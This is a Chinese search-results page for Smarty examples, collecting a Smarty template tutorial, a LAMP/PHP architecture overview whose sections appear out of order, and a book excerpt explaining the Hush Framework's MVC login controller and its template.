首页> 搜索结果页
"smarty简单应用实例" 检索
共 10 条结果
Smarty实例教程(3)
例5: 使用模板内置流程控制语句进行一行多单元格内容输出, 也就是在视觉上smarty每记输出几条记录:================================================example5.tpl================================================<html><head><title>一行输出多条记录</title></head><body><table><tr>{section name=loop loop=$News step=1} {if $smarty.section.loop.index % 4 == 0}</tr> <tr>{/if}<td>{$News[loop].newsID}</td><td>{$News[loop].newsTitle}</td>{/section}</tr> </table></body></html>====================================================example5.php====================================================<?php/*********************************************** 文件名： example5.php* 作 用： 显示实例程序5** 作 者： 大师兄* Email： teacherli@163.com**********************************************/require_once ("./comm/Smarty.class.php");$smarty = new Smarty();$smarty->template_dir = './templates/';$smarty->compile_dir = './templates_c/';$smarty->config_dir = './configs/';$smarty->cache_dir = './cache/';$smarty->caching = false;$array[]= array("newsID"=>"001", "newsTitle"=>"第1条新闻"); $array[]= array("newsID"=>"002", "newsTitle"=>"第2条新闻");$array[]= array("newsID"=>"003", "newsTitle"=>"第3条新闻");$array[]= array("newsID"=>"004", "newsTitle"=>"第4条新闻");$array[]= array("newsID"=>"005", "newsTitle"=>"第5条新闻");$array[]= array("newsID"=>"006", "newsTitle"=>"第6条新闻");$array[]= array("newsID"=>"007", "newsTitle"=>"第7条新闻");$array[]= array("newsID"=>"008", "newsTitle"=>"第8条新闻");$smarty->assign("News", $array);$smarty->display("example5.tpl");?>==================================================example5.php输出内容:==================================================<html><head><title>一行输出多条记录</title></head><body><table><tr></tr> <tr><td>001</td><td>第1条新闻</td><td>002</td><td>第2条新闻</td><td>003</td><td>第3条新闻</td><td>004</td><td>第4条新闻</td></tr> <tr><td>005</td><td>第5条新闻</td><td>006</td><td>第6条新闻</td><td>007</td><td>第7条新闻</td><td>008</td><td>第8条新闻</td></tr> </table></body></html>说明:本来还可以优化,使得第一行不输出一个空行的<tr> </tr>,但是学习程序,简单为好,先就这么用了. 在这里说明一下:{section name=loop loop=$News step=1} {if $smarty.section.loop.index % 4 == 0}</tr> <tr>{/if}<td>{$News[loop].newsID}</td><td>{$News[loop].newsTitle}</td>{/section}{section}{/section}指的是一个循环部分,在下一节会有详细的介绍,我们主要来看看这一句:{if $smarty.section.loop.index % 4 == 0}$smarty.section.loop指出$smarty的实例中的section段有一个叫loop的部分, 它有一个属性叫index, 它的表示当前循环的索引值,从0开始递增,我们把它%4后与0相比较,也就是说,如果当前的索引值是4的倍数,它就输出一个</tr><tr>,否则执行下面的部分,很简单的就解决了一个在程序上实现起来很麻烦的事情.这里我仅演示的是如何使用{if}语句功能,实现这个功能在Smarty的模板中还有一个非常方便的办法:{cycle},使用的例子如下所示:================================={section name=rows loop=$data}<tr bgcolor="{cycle values="#D4D0C8,#EEEEEE"}"><td>{$data[rows]}</td></tr>{/section}=================================2.---程序设计部分 在smarty的模板设计部分我简单的把smarty在模板中的一些常用设置做了简单的介绍，这一节主要来介绍一下如何在smarty中开始我们程序设计。首先来介绍一下在上一节中我们使用的过的.php文件中的一些元素。同样，我们拿上一节中最开始的那个index.php文件来说明一下：================================================index.php================================================<?php/*********************************************** 文件名： index.php* 作 用： 显示实例程序** 作 者： 大师兄* Email： teacherli@163.com**********************************************/include_once("./comm/Smarty.class.php"); //包含smarty类文件$smarty = new Smarty(); //建立smarty实例对象$smarty$smarty->template_dir = "./templates";//设置模板目录$smarty->compile_dir = "./templates_c"; //设置编译目录//****大家注意，这里我是我新加入的****//$tpl->cache_dir = "./cache"; //设置缓存目录$smarty->cache_lifetime = 60 * 60 * 24; //设置缓存时间$smarty->caching = true; //设置缓存方式//----------------------------------------------------//左右边界符，默认为{}，但实际应用当中容易与JavaScript//相冲突，所以建议设成<{}>或其它。//----------------------------------------------------$smarty->left_delimiter = "<{"; $smarty->right_delimiter = "}>";$smarty->assign("name", "李晓军"); //进行模板变量替换//编译并显示位于./templates下的index.tpl模板$smarty->display("index.tpl"); ?>我们可以看到，smarty的程序部分实际就是符合php语言规范的一组代码，我们依次来解释一下：1。/**/语句： 包含的部分为程序篇头注释。主要的内容应该为对程序的作用，版权与作者及编写时间做一个简单的介绍，这在smarty中不是必需的，但从程序的风格来讲，这是一个好的风格。2。include_once语句：它将安装到网站的smarty文件包含到当前文件中，注意包含的路径一定要写正确。3。$smarty = new Smarty():这一句新建一个Smarty对象$smarty,简单的一个对象的实例化。4。$smarty->template_dir = "" : 这一句指明$smarty对象使用tpl模板时的路径，它是一个目录，在没有这一句时，Smarty默认的模板路径为当前目录的templates目录，实际在写程序时，我们要将这一句写明，这也是一种好的程序风格。5。$smarty->compile_dir = "" :这一句指明$smarty对象进行编译时的目录。在模板设计篇我们已经知道Smarty是一种编译型模板语言，而这个目录，就是它编译模板的目录，这里要注意，如果站点位于*nix服务器上，请确保compile_dir里定义的这个目录具有可写可读权限，默认情况下它的编译目录是当前目录下的templates_c，出于同样的理由我们将其明确的写出来。6。$smarty->left_delimiter与$smarty->right_delimiter:指明在查找模板变量时的左右分割符。默认情况下为"{"与"}"，但在实际中因为我们要在模板中使用<script>,Script中的函数定义难免会使用{}，虽然它有自己的解决办法，但习惯上我们将它重新定义为"<{"与"}>"或是"<!--{"与"}-->"或其它标志符，注意，如果在这里定义了左右分割符后，在模板文件中相应的要使每一个变量使用与定义相同的符号，例如在这里指定为"<{"与"}>"，tpl模板中也要相应的将{$name}变成<{$name}>,这样程序才可以正确的找到模板变量。7。$tpl->cache_dir = "./cache";:告诉Smarty输出的模板文件缓存的位置。上一篇我们知道Smarty最大的优点在于它可以缓存，这里就是设置缓存的目录。默认情况下为当前目录下的cache目录，与templates_c目录相当，在*nix系统中我们要确保它的可读可写性。8. $smarty->cache_lifetime = 60 * 60 * 24:这里将以秒为单位进行计算缓存有效的时间。第一次缓存时间到期时当Smarty的caching变量设置为true时缓存将被重建。当它的取值为-1时表示建立起的缓存从不过期，为0时表示在程序每次执行时缓存总是被重新建立。上面的设置表示将cache_lifetime设置为一天。9. $smarty->caching = 1:这个属性告诉Smarty是否要进行缓存以及缓存的方式。它可以取3个值，0：Smarty默认值，表示不对模板进行缓存；1：表示Smarty将使用当前定义的cache_lifetime来决定是否结束cache；2：表示Smarty将使用在cache被建立时使用cache_lifetime这个值。习惯上使用true与false来表示是否进行缓存。10. $smarty->assign("name", "李晓军")：该数的原型为assign(string varname, mixed var),varname为模板中使用的模板变量，var指出要将模板变量替换的变量名；其第二种原形为assign(mixed var),我们要在后面的例子详细的讲解这个成员函数的使用方法，assign是Smarty的核心函数之一，所有对模板变量的替换都要使用它。11. $smarty->display("index.tpl"):该函数原形为display(string varname),作用为显示一个模板。简单的讲，它将分析处理过的模板显示出来，这里的模板文件不用加路径，只要使用一个文件名就可以了，它路径我们已经在$smarty->templates(string path)中定义过了。程序执行完后我们可以打开当前目录下的templates_c与cache目录，就会发现在下边多出一些%%的目录，这些目录就是Smarty的编译与缓存目录，它由程序自动生成，不要直接对这些生成的文件进行修改。以上我简单的把Smarty程序中的一些常用的基本元素介绍了一下，在后边的例子中你可以看到将它们将被多次的使用。接下来介绍一个section循环块与foreach循环块，本来它应该属于模板部分，但是由于它们是smarty的精华所在，而且与smarty程序设计部分联系非常紧密，所以就在本节单独拿出来讲一下。1. foreach：用于循环简单数组，它是一个选择性的section循环，它的定义格式为:{foreach from=$array item=array_id}{foreachelse}{/foreach}其中，from 指出要循环的数组变量，item为要循环的变量名称，循环次数由from所指定的数组变量的个数所决定。{foreachelse}用来当程序中传递过来的数组为空时的处理，下面是一个简单的例子：===========================================example6.tpl===========================================<html><head><title>这是一个foreach使用的例子</title></head><body>这里将输出一个数组：<br><{foreach from=$newsArray item=newsID}>新闻编号：<{$newsID.newsID}><br>新闻内容：<{$newsID.newsTitle}><br><hr><{foreachelse}>对不起，数据库中没有新闻输出！<{/foreach}></body></html>
文章
缓存 · PHP · 索引 · .NET · SQL · 开发框架 · 数据库 · JavaScript · 前端开发
2009-02-25
LAMP架构下的Web开发概念、流程及优化策略（二）
六、目前流行的PHP框架  应用场景二: M (业务模型,应用者编写) C (业务控制器,应用者编写,由框架控制器自动载入) V (视图,应用者编写,框架自动载入) 现实中复杂应用场景: 1.用户请求: http://domain/blog/list/ 2.分析URL,实例化逻辑控制类blog,执行方法list 3.在控制类news中,又分别实例化业务模型类blog和user,并做相应处理. 4.业务模型类blog,user中,调用数据模型(专用,非M层),对数据进行处理. 5.回到逻辑控制类中,展现视图$this->view->output( );   ※运用中需要注意的地方 • PHP没有持久层,每一次访问请求都是独立运行,建立的模型对象不能持久存在,无法跨访问复用.如果框架/应用的设计过于繁琐,每次装载/初始化都会浪费不少时间. • 各层之间的耦合度尽量降到最低,尤其是业务模型和业务逻辑之间要尽量分离.以便日后修改或复用. • PHP本身只有较少功能是抛出异常,大部份是抛出错误(Notice,warning,error),代码编写中应时常对应用环境的正确性做手工检查,不符合条件时手工抛出异常,并设置异常接收器统一处理   • 单入口模式 http://domain/index.php?control=blog&action=list http://domain/index.php?control=news&action=read • 多入口模式 http://domain/blog.php?action=list http://domain/news.php?action=read • PathInfo模式 http://domain/index.php/blog/list/ http://domain/index.php/news/read/ • Rewrite模式 http://domain/blog/list/ http://domain/news/read/ Rewrite及pathinfo的好处:对搜索引擎友好,对用户更直观   九、数据库抽象层、Active recode • 数据库抽象层的作用 减少与具体数据库的底层接触,提供跨数据库平台的访问接口,以实现数据操作与数据库类型的无关性.方便数据库系统的迁移变更. • PHP本身提供的抽象层 Pear::DB(php4),PDO(php5,6) • 框架中引入的各种类Active Recode系统 目的：将数据库字段与映射到对象，不用关心具体的SQL语句，只需要操作数据对象及调用相关的方法即可实现数据的CRUD操作。 好处：模型化了数据库，快捷开发，是数据库抽象层的进一步进化。 缺点：对于复杂数据模型的处理较为无力，例如多表连查、子查询。 缺乏灵活性，比如只想要一列数据，却取出了整行。 与数据库字段名的耦合度太高。如通过配置改进，执行效率又打折扣。 难以应付复杂的Web环境。（多种数据库，分布式数据库，缓存系统介入）   十、模板引擎    • 为什么引入模板引擎 视图：在web开发中通常就是指前端页面。模板引擎的引入，是为了实现视图层的分离，降低视图与逻辑、模型部份的耦合度。使得前端页面与程序部份可以并行工发、轻松整合的工具 • 常见的模板引擎及特点 PHP中常用的模板引擎有 Smarty, SmartTemplate 其中smarty提供了强劲的功能，STE则非常轻巧。 两者的核心原理，都是将页面中的变量标签替换成通过assign方法注册的PHP运行变量，并将替换后的页面（“编译”后的页面文件）生成缓存保存在磁盘中。或者提供一定的逻辑控制功能供前端使用。这样即方便将程序和视图分离,使前端设计人员更着重于表现和数据,而不用关心程序上的流程. • 缺点 初次加载模板时,因生成缓存,需要额外的处理开销和IO开销 之后加载模板时,会判断模板文件的最后修改时间是否大于生成的缓存文件时间,亦有一定的额外IO开销.   ※使用模板引擎的注意事项       八、访问模式    • Qee /FleaPHP (领域设计驱动)• ThinkPHP （大的类库J）• Zend Framework（Pear的OOP版）• Yii • KiwiPHP （工业微内核）• Symfony （配置最简单） 七、WEB中的MVC开发模式 应用场景一: M (数据模型,框架提供) C (控制器,框架实现) V (视图,应用者编写,框架自动载入) 应用者编写的,是供控制器装载的业务处理类     • 尽量折分公用组件。   • 不要在视图中使用太多的控制语句 就以前的经验来看,简单的if,变量循环输出即已足够。 在视图中加入太多的控制语句会带来的问题，是对设计思想的破坏，因为它打乱了将视图层独立出来的最初目的，让前端的设计人员不得不过多的关注“程序”而非页面本身。要不然就得由程序员最终回头修改前端设计人员已经做好的模板文件。 更重要的一点时：如果在模板中引入太多的控制语句，那还不如直接在页面中写<?php ,因为PHP的本身就是模板引擎。无论哪种都快不过它。 所以,尽量将控制放在PHP程序体内,不要放到视图中去跑.   十一、LAMP架构下的加速系统     十二、各级加速系统说明       • WEB服务层 Nginx :自身支持反向代理,提供简单的负载均衡及从错机制,能很方便的搭建起web服务集群. Lighttpd:超轻量,合适搭建静态访问服务器 Squid:对动态内容亦能做缓存处理. • PHP层 APC:缓存opcode,减少了扫描和编译阶段,但仍无法实现持久对象.纯脚本效率提高在200%--500%,应用场景下实测通常能提高效率一倍. XCACHE • 数据层 共享内存 Memcache: Key=>Value对形式的内存数据缓存服务.基于TCP连接.常用于缓存数据库查询结果.支持分布式. 缺点:关机即无,每次连接的时间开销大.         推荐的工具   • Editplus+PHP • XDEBUG+Eclipse PDT • SmartTemplate Xdebug+ WinCacheGrind     【本文首发于：百度运维空间】http://hi.baidu.com/ops_bd/blog/item/ae1a7b16c2a6b06acb80c4dd.html 【关注百度技术沙龙】 本文转自百度技术51CTO博客，原文链接：http://blog.51cto.com/baidutech/748346，如需转载请自行联系原作者
文章
缓存 · PHP · 数据库 · 前端开发 · 网络协议 · 程序员 · 应用服务中间件 · nginx · 分布式数据库 · SQL
2017-11-28
《Android和PHP开发最佳实践 》一3.6　开发框架简介
3.6　开发框架简介 前面大家已经学习了PHP模板引擎Smarty的用法，也简单了解了PHP的官方框架Zend Framework，接下来本书将给大家介绍一个基于Zend Framework和Smarty之上的强大的PHP开发框架，即Hush Framework。本书后面微博实例的服务端程序也将采用该框架进行开发。在实际项目中，我们通常要先选择一个比较适合项目特点的框架，然后，在这个框架的基础上进行开发，这个过程我们通常称为“框架选型”。其实，在之前的3.4节中我们已经介绍和分析了四种目前比较主流的PHP框架，并选定了Zend Framework为本书实例的基础框架，我们通过长时间的整理归纳和项目积累，在Zend Framework和Smarty的基础上构建出了Hush Framework这个PHP的开发框架，个人还是非常推荐大家使用的，接下来我们从几个方面给大家介绍一下这个框架。 3.6.1　框架的特点和优势 从某种程度上来说Hush Framework框架的特点也可以算做它的优势，所以我们主要给大家列举该框架的几个主要特点。 开发效率高Hush Framework基本沿用了Zend Framework严谨的编码规范和优秀的框架设计，形成了别具特色的MVC结构；此外，本框架目前已经被国内多个知名网络公司所采用，经过了多个实际项目的考验和提炼已经日渐成熟；另外，此框架相对比较适合国内程序员的思路，从而提高了开发效率。 运行效率高虽然Zend Framework的运行效率一直为大家所诟病，但是其中最重要的原因是类库实在太庞大了，因此Hush Framework只使用了其中几个核心类库，并对其中一些效率不够高的地方进行了精简和优化，比如URL的路由逻辑优化，DB类的用法简化等，极大限度地提高了整个框架的运行效率。 可扩展性高Hush Framework的高扩展性得益于Zend Framework优秀的类库设计，松耦合的设计方法让它能快速地适应不同项目的需求，这也是为什么我们会选择Hush Framework来作为本书实例的服务端底层框架的最主要原因之一。 当然，除了以上这些基础特点之外，Hush Framework还有很多其他的很棒的特性，比如我们可以用它的基础代码来快速开发一个常见的互联网应用，还可以用其自带的工作流模块来开发ERP系统等，但是由于本书实例仅用到框架中的最基础的MVC代码框架，所以我们后面的介绍也将围绕着Hush Framework的基本用法来给大家讲解，其中我们也会穿插一些PHP编程的要点，让大家更加了解如何在实际项目中使用PHP语言来编程。 3.6.2　框架的基础目录结构 想要熟悉一个框架，最好的方式莫过于从它的代码目录结构入手，下面我们先来讲解一下Hush Framework的基础目录结构，让大家对这个框架有一个整体性的认识。下面便是对这个框架主要目录的一个对照，我建议大家使用svn工具到Hush Framework的官方网站（http://code.google.com/p/hush-framework/）上把代码下载到本地来进行比对阅读，这样才会达到比较好的学习效果。目录说明　3-1 hush-framework | |- hush-app 实例应用程序目录 | |- bin 可执行文件目录 | |- dat 临时存储文件 | |- doc 主要文档目录 | |- etc 配置文件目录 | |- lib 主要逻辑目录 | | |- Ihush | | |- Acl ACL 权限逻辑类库 | | |- App | | | |- Backend | | | | |- Page 后台 Controller 逻辑 | | | | |- Remote 后台 Service 逻辑 | | | |- Frontend | | | |- Page 前台 Controller 逻辑 | | |- Bpm Bpm 逻辑类库 | | |- Dao | | |- Apps Apps 库的 Module/Dao 类库 | | |- Core Core 库的 Module/Dao 类库 | |- tpl | | |- backend 后台模板文件 | | |- frontend 前台模板文件 | |- web | |- backend 后台 DocumentRoot（站点目录） | |- frontend 前台 DocumentRoot（站点目录） | |- hush-lib | |- Hush | |- Acl Acl 权限类库 | |- App App Url Dispatcher | |- Auth | |- Bpm Bpm 类库 | |- Cache Cache 类库 | |- Chart 图像类库 | |- Crypt 加密类（Rsa） | |- Date | |- Db 数据库层（Module）类库 | |- Debug 调试类库 | |- Document 文档类库 | |- Examples 一些例子（主要针对 Cli 程序） | |- Html Html 构建类库 | |- Http 远程访问类库 | |- Json | |- Mail 邮件收发类库 | |- Message 消息类库 | |- Mongo Mongodb 类库 | |- Page 页面层（Controller）类库 | |- Process 多进程类库 | |- Service 服务层（Service）类库 | |- Session | |- Socket Socket 类库 | |- Util 工具类库 | |- View 展示层（View）类库 | |- hush-pms PHP Message Server 从上述目录结构说明中，我们可以看到Hush Framework的文件目录中，主要包含以下两大目录。 hush-app目录该目录下的代码是Hush Framework给我们提供的框架实例程序，是一个比较完整的互联网应用实例，包括应用前端和管理后台两大部分，我们既可以把该实例当做一个代码示例库来学习和使用，也可以把它当做一个项目的基础架构进行二次开发；另外，之前也说过了，本书实例的服务端程序就是在本框架的基础之上开发的，因此从某种意义上来说和这里的实例程序是非常相似的，所以这里应该算是本书的重点之一了，接下来我们马上会对该实例中的一些主要用法和代码进行讲解。 特别注意一下hush-app下面的etc、lib、tpl和web四个目录，因为这四个目录分别是实例应用程序的配置目录、代码目录、模板目录和站点目录，下面我们来给大家详细介绍一下。（1）配置目录（etc）配置目录（etc）下面放置的都是应用的配置文件，其中比较重要的包括：全局配置文件（global.config.php）主要用于设置应用的总体配置，比如路径变量、类库位置等；数据库配置文件（database.mysql.php）用于设置数据库的服务器分布和分库分表策略等；前后台配置文件（frontend.config.php和backend.config.php）分别用于配置前后台的特殊参数。（2）代码目录（lib）本目录是主要的公用类库和逻辑代码目录，现将其中比较重要模块的代码分目录列举如下：权限控制模块（Acl目录）主要用于前后台的RBAC权限控制；控制器模块（App目录）用于各个页面的逻辑控制，也就是MVC中的Controller部分；工作流模块（Bpm目录）用于实例后台中工作流部分的逻辑控制；可执行程序模块（Cli目录）下面都是项目可执行程序的逻辑代码，另外我们需要知道的是hush-app/bin目录下面就是可执行程序的入口；数据操作模块（Dao目录）大家应该都非常熟悉了，这里保存的是和数据库操作相关的所有逻辑，也就是MVC中的Model部分。（3）模板目录（tpl）此目录下还分为前台模板目录（frontend目录）和后台模板目录（backend目录），分别用于存储应用实例前后台的Smarty模板，这也就是MVC中的View部分了，这里的模板和前面所提到过的“控制器模块”中的各个不同控制器的动作逻辑（Action）相对应。（4）站点目录（web）这里面放的都是一些静态文件或者独立的PHP代码等，此目录也分为前台站点目录（frontend目录）和后台站点目录（backend目录），另外这两个目录也是HTTP服务器的站点配置（DocumentRoot）所需要指定到的目录。 hush-lib目录此目录保存的是Hush Framework的源代码，我们可以看到这里的代码目录和Zend Framework的结构非常一致，也就是把每个独立的模块代码都放在各自的目录下并尽量互不关联，这也比较符合“松耦合”的设计原则，既便于理解又便于阅读，是一个比较值得提倡的代码封装方法。 至此，已经给大家介绍了Hush Framework框架和应用（hush-app）中的重要代码目录，这是学习如何使用Hush Framework进行开发的重要一步，希望大家能好好消化一下以上内容。至于框架类库（hush-lib）源码中的模块和目录介绍，由于篇幅原因这里就暂时不做介绍了，有兴趣的读者可以访问Hush Framework在Google Code的官方站点，查找更多信息。 3.6.3　框架MVC思路讲解 首先，Hush Framework是一个标准的MVC框架，MVC的概念大家应该都耳熟能详了，由于关系到本书重要的服务端底层框架的学习，我们还是不得不老调重弹。MVC是模型（Model）、视图（View）和控制器（Controller）的缩写，是目前业内最主流且应用最广泛的软件设计模式之一，MVC具备以下主要优点。 低耦合性MVC最大的好处之一就是大大降低了程序的耦合性，特别是把视图层和业务逻辑分开之后，让整个应用灵活了很多；当业务逻辑有变化时，我们只需修改模型层和控制器的代码，而无须修改负责应用外观的视图层。 高重用性MVC的高重用性主要体现在两方面。一方面是视图层的重用性，因为在实际的项目中，我们经常需要修改应用外观来满足需求，由于业务逻辑已经分离出来，所以我们不需要更改逻辑就可以调整应用界面，满足了软件高重用性的要求。另一方面，业务逻辑被分为模型层和控制器层之后，既保证了核心数据结构的稳定性，也增强了业务逻辑控制器的灵活性，这样我们就可以很好地重用核心数据结构来实现多种多样的业务逻辑。 可维护性MVC设计模式把模型、视图和控制器分开，实际上也把设计者、程序员和UI设计人员的职能做了分离。这种分工方式不仅可以让应用的架构看起来更清晰，还便于软件维护时团队之间的共同协作，这对中大型软件应用程序的代码维护工作将起到很重要的作用。 之前讨论的是MVC设计模式中比较通用的概念和知识，然而对于不同的框架来说，具体的实现方式却有各自不同的特色，接下来我们就来学习Hush Framework中的MVC设计思路。为了让大家理解起来更容易，我们把Hush Framework处理客户端请求的完整过程通过图形的方式展示出来，如图3-16所示。从图3-16中我们可以很清楚地看到客户端请求的整个处理过程，在一个标准的基于HTTP协议的互联网应用环境中，用户每次操作都会致使浏览器向HTTP服务器发送HTTP请求，当服务器接收到请求之后，就会调用框架程序来处理，此时Hush Framework就会接管接下来的工作。具体的处理流程一般分为以下几个步骤。步骤1：首先，Hush Framework的请求分发器（Dispatcher）会分析客户端发送过来的HTTP请求所包含的信息，并根据请求的URL地址来指定使用相应的控制器（Controller）来处理该请求。步骤2：接着，被指定的控制器会选择合适的模型类（Model）用于持久层数据的获取和存储，并负责处理该请求的业务逻辑。此外，我们可以看到Hush Framework的模型层是基于Zend Framework的模型层的。当然，在逻辑处理完成后，控制器还会调用视图层（View）来组合出最终的HTML代码。 步骤3：最后，服务器会把Hush Framework的处理结果通过HTTP协议返回给客户端程序来进行后续的处理。通过分析我们会发现，实际上Hush Framework的MVC设计和实现的思路还是比较主流的，和大部分网络应用的MVC框架的思路也比较相似，不过其中还是有不少独特的亮点。比如Hush Framework的分发器（Dispatcher）就使用了独有的快速分发逻辑，大大提高了程序的运行效率；另外，不仅支持常见的URL路由分发模式，还支持通过“路由映射文件”这种更直观的方式来进行更精细的配置，映射文件代码如配置清单3-3所示。配置清单3-3　etc/app.mapping.ini ; URL mappings ; ; Used by Hush_App_Dispatcher class ; e.g /url/path = PageClassName::ActionName ; / = DebugServer::indexAction /debug/* = DebugServer::* 另外，Hush Framework的模型层使用了Zend Framework作为底层框架，沿用了其完善的DB模型层封装和方法的设计，并使用自己独特的思路封装成Hush Framework的DAO基类，让建立在基类之上的持久层操作更加简便、高效。在接下来的3.6.4节中，我们将通过实例来讲解Hush Framework持久层的用法。 3.6.4　框架MVC实例分析 通过前面两节的学习，大家应该对Hush Framework框架的理论基础有了一定的认识，但是理论还是需要通过实践来证明，要真正学会如何运用该框架进行开发，光靠理论知识是远远不够的，所以在本节中我们将会围绕着框架实例中与MVC分层开发相关的实例代码为大家做进一步的讲解。下面我们会使用框架实例中的“后台登录”这个界面的完整逻辑，来给大家讲解一下在Hush Framework中我们是如何使用MVC的分层思路来进行编程的，我们先来看一下这个界面的截图，如图3-17所示。 以上是在浏览器中打开框架实例的后台站点时看到的界面，也就是后台的登录界面。这里我们可以看到浏览器中的地址是“http://hf-be/auth/”，按照前面所介绍的Hush Framework的应用目录中所提及的，对应的控制器类应位于lib/Ihush/App/Backend/Page/AuthPage.php文件中。至此，既然已经找到分析框架MVC用法的“突破口”，那么我们就从这里开始分析吧。我们先来看看AuthPage.php文件中的AuthPage类，此类继承自Ihush_App_Backend_Page类（即整个实例应用的后台控制器基类），其中包含多个以Action为后缀的方法，分别对应于“后台登录”界面的几个逻辑，整个类的写法都是面向对象的，大家可以对照前面3.1.4节的内容理解一下，关于其中涉及的MVC分层思路，下面我们会把这三层的相关代码提取出来，分别给大家讲解一下。 控制器（Controller）控制器简单来说就是页面的逻辑，在Hush Framework中我们通常使用Page（页面）来表示通常意义的Controller，因为对于网络应用来说Page比Controller更好理解；此外，我们还需要知道Hush Framework使用的是REST格式的URL路径结构，自域名之后的URL路径第一个表示的是控制器的名称，第二个则是控制器的动作，也就是我们通常所称的Action，比如登录界面的路径为“/auth/”，其对应的逻辑就可以在AuthPage.php文件中AuthPage类的indexAction方法中找到，这里需要注意的是当前路径如果为空，我们则会用index来代替。代码清单3-21就是AuthPage类的完整实现，大家可以参考注释来阅读代码。 代码清单　3-21 /** * @package Ihush_App_Backend */ class AuthPage extends Ihush_App_Backend_Page { public function indexAction () { // TODO : 默认使用index.tpl作为Action的模板 } public function loginAction () { // 用户名/密码/验证码均不能为空 if (!$this->param('username') || !$this->param('password') || !$this->param('securitycode')) { $this->addError('login.notempty'); } // 验证码必须是正确的 elseif (strcasecmp($this->param('securitycode'),$this->session('securitycode'))) { $this->addError('common.scodeerr'); } // 通过参数验证 if ($this->noError()) { // 使用DAO类的验证方法 $aclUserDao = $this->dao->load('Core_User'); $admin = $aclUserDao->authenticate($this->param('username'), $this->param('password')); // 登录失败（找不到用户） if (!$admin) { $this->addError('login.nouser'); } // 登录失败 elseif (is_int($admin)) { $this->addError('login.failed'); } // 登录成功 else { // 是否是超级用户 $admin['sa'] = strcasecmp($admin['name'], $this->sa) ? false : true; // 保存登录用户信息到会话 $this->session('admin', $admin); // 跳转至首页 $this->forward($this->root); } } // 登录失败则显示登录界面 $this->render('auth/index.tpl'); } public function logoutAction () { if ($this->session('admin')) { // 用户登出，清除用户会话信息 $this->session('admin', ''); } $this->forward($this->root); } } 从以上的代码中我们可以看出，在控制器类AuthPage中有三个Action方法，分别是indexAction、loginAction和logoutAction，这些方法对应的三个功能分别是“展示登录界面”、“用户登录逻辑”和“用户登出逻辑”，以上功能的基本逻辑和涉及的PHP语法这里就不做解释了，接下来我们会给大家分析一下这几个Action方法中比较重要的知识点，学习并理解这些知识点后，有助于我们分析AuthPage控制器类的代码。（1）使用render方法展示模板首先我们需要知道的是在Hush Framework中使用模板有两种方式：首先是默认方式，此种方式是按照“模板根目录/Controller名/Action名.tpl”这样的规则来放置的，因此对于indexAction来说我们可以根据这个规则分析出其对应模板是tpl/backend/template/auth目录下的index.tpl；另外一种方式是通过render手动设置模板，这也正是在loginAction中最后的那行代码所做的事情，可参考代码清单3-22中的写法。代码清单　3-22 // 登录失败则显示登录界面 $this->render('auth/index.tpl'); 这行代码的逻辑其实非常容易理解，就如同注释中描述的一样，当用户登录失败后，程序还是应该展示出登录页面给用户重新填写登录名和密码。（2）使用param方法获取URL参数param方法是开发中最常用的方法之一，该方法一般用于获得GET或者POST过来的URL参数；另外，如果这个函数带两个参数，则是设置对应URL参数的值。示例代码如代码清单3-23所示。代码清单　3-23 // 获取GET或者POST过来的username参数值 $username = $this->param('username'); // 设置username参数值为james $this->param('username', 'james'); （3）使用addError方法处理错误信息大家都知道，在网页表单提交之后，我们会先做一些字段的判断，比如用户名和密码是否为空等，如果这些验证没有通过，就要给页面传递一些错误信息，而addError方法就是做这个事情的，比如前面实例中的代码“$this->addError('login.notempty');”就是用来显示错误信息的，另外对应的错误信息“login.notempty”我们可以在“etc/backend.errors.ini”文件中找到。（4）使用load方法来加载DAO类框架已经帮助我们把Controller层中如何使用Model层的方法封装好了，那就是这里所说的load方法，我们可以使用如下代码获取任意一个DAO类，如代码清单3-24所示。代码清单　3-24 $aclUserDao = $this->dao->load('Core_User'); $admin = $aclUserDao->authenticate($this->param('username'), $this->param('password')); 以上代码取自于loginAction中的部分逻辑：首先，初始化了Core_User的DAO类供我们使用；然后，使用该类中的authenticate方法判断用户是否登录成功，这个地方的逻辑我们会在下面的模型层中做详细分析。小贴士：前面提到的DAO是数据访问对象（Data Access Objects）的缩写，该对象常被用于进行数据库层面的各种数据操作，后面我们会经常提到。（5）使用forward进行页面跳转在一个互联网应用中，页面跳转是再常见不过的事情了，这里我们也能找到相应的示例代码，也就是登录成功之后跳转到首页的逻辑，如代码清单3-25所示。代码清单　3-25 $this->session('admin', $admin); $this->forward($this->root); （6）使用session函数操控会话会话的概念相信有些网络开发基础的朋友都应该清楚，因为HTTP是无状态的，所以我们一般会使用会话（Session）来保存用户相关的信息，在loginAction和logoutAction中我们都可以看到相关的代码，如代码清单3-26所示。代码清单　3-26 // 保存登录用户信息到Session $this->session('admin', $admin); // 用户登出，清除用户会话信息 $this->session('admin', ''); 视图层（View）视图层主要负责的是对应控制器逻辑的展示，一般来说是由HTML语法和Smarty变量构成的。根据前面介绍的关于Hush Framework中的两种模板使用方式，我们可以“顺藤摸瓜”找到indexAction对应的模板，也就是tpl/backend/template/auth中的index.tpl模板文件，如代码清单3-27所示。 代码清单　3-27 <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>用户登录</title> <link href="{$_root}css/main.css" rel="stylesheet" type="text/css" /> <link href="{$_root}css/login.css" rel="stylesheet" type="text/css" /> {literal} <script type="text/javascript"> if(self!=top){top.location=self.location;} </script> {/literal} </head> <body> <div class="login-body"> <div class="login-con"> <h1><img src="{$_root}img/logo_s.gif" /><span>后台管理系统</span></h1> <div class="login"> {include file="frame/error.tpl"} <form action="{$_root}auth/login" method="post"> <input type="hidden" name="go" value=""/> <input type="hidden" name="do" value="login"/> <ul> <li> <label>用户名：</label> <input type="text" class="text" name="username"/> </li> <li> <label>密　码：</label> <input type="password" class="text" name="password"/> </li> <li> <label>验证码：</label> <input type="text" class="text" style="width: 50px;margin-right:5px; text-transform: uppercase;" id="securitycode" name="securitycode" autocomplete="off"/> <img id="securityimg" src="{$_root}app/scode/image.php" alt="看不清？单击更换" align="absmiddle" style="cursor:pointer" onClick="this.src=this.src+'?'" /> </li> <li> <input type="submit" onclick="this.form.submit();" class="submit" value="登录" name="sm1"/> </li> </ul> </form> </div> </div> </div> </body> </html> 